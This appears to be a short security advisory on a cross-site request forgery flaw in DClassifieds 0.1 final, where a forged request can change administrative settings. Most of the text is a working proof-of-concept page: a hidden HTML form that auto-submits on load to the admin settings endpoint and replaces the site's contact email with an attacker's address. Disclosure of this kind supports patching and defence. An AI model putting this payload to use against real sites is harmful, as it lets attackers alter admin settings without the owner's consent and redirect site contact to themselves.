source: https://www.securityfocus.com/bid/51671/info DClassifieds is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible. DClassifieds 0.1 final is vulnerable; other versions may also be affected. <form action="http://www.example.com/admin/settings/update/id/4" method="post"> <input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL"> <input type="hidden" name="Settings[setting_value]" value="hacker@mail.com"> <input type="hidden" name="Settings[setting_description]" value="Contact email"> <input type="hidden" name="Settings[setting_show_in_admin]" value="1"> <input type="hidden" name="yt0" value="Save"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script>